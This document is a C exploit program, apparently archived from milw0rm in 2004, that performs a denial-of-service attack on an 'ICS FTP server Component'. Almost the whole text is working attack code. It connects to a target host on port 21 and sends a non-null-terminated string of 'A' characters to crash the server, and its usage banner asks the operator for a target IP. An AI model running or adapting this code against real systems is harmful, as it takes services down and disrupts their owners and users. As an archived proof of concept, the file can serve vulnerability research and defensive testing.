86 lines
No EOL
2 KiB
C
86 lines
No EOL
2 KiB
C
//--Exploit:
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//===========================================================
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#include <winsock2.h>
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#include <stdio.h>
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#pragma comment(lib, \\\"ws2_32.lib\\\")
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char Non_null_terminated_string [] = \\\"AAAAAAAAAAAAAAAAAA\\\";
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int main(int argc, char *argv[])
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{
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WSADATA wsaData;
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WORD wVersionRequested;
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struct hostent *pTarget;
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struct sockaddr_in sock;
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char *target;
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int port,bufsize;
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SOCKET mysocket;
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int res=1;
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char text[1024]={\\\' \\\'};
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if (argc < 2)
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{
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printf(\\\"\\\\r\\\\nICS FTP server Component Denial Of Service
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vulnerability\\\\r\\\\n\\\", argv[0]);
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printf(\\\"Coded By ATmaCA\\\\r\\\\n\\\");
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printf(\\\"E-Mail:atmaca@prohack.net\\\\r\\\\n\\\");
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printf(\\\"Web:www.prohack.net\\\\r\\\\n\\\\r\\\\n\\\");
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printf(\\\"Usage:\\\\r\\\\n %s <targetip> [targetport] (default is
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21)\\\\r\\\\n\\\\r\\\\n\\\",argv[0]);
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exit(1);
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}
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wVersionRequested = MAKEWORD(1, 1);
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if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
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target = argv[1];
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port = 21;
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if (argc >= 3) port = atoi(argv[2]);
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bufsize = 1024;
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if (argc >= 4) bufsize = atoi(argv[3]);
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mysocket = socket(AF_INET, SOCK_STREAM, 0);
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if(mysocket==INVALID_SOCKET)
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{
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printf(\\\"Socket error!\\\\r\\\\n\\\");
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exit(1);
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}
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printf(\\\"Resolving Hostnames...\\\\n\\\");
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if ((pTarget = gethostbyname(target)) == NULL)
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{
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printf(\\\"Resolve of %s failed\\\\n\\\", argv[1]);
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exit(1);
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}
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memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
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sock.sin_family = AF_INET;
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sock.sin_port = htons((USHORT)port);
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printf(\\\"Connecting...\\\\n\\\");
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if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
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{
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printf(\\\"Couldn\\\'t connect to host.\\\\n\\\");
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exit(1);
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}
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printf(\\\"Connected!...\\\\n\\\");
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printf(\\\"Sending Non-null-terminated-string...\\\\n\\\");
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if (send(mysocket,Non_null_terminated_string,
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sizeof(Non_null_terminated_string)-1, 0) == -1)
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{
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printf(\\\"Error Sending the Non-null-terminated-string.\\\\r\\\\n\\\");
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closesocket(mysocket);
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exit(1);
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}
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closesocket(mysocket);
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WSACleanup();
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return 0;
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}
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// milw0rm.com [2004-07-20]
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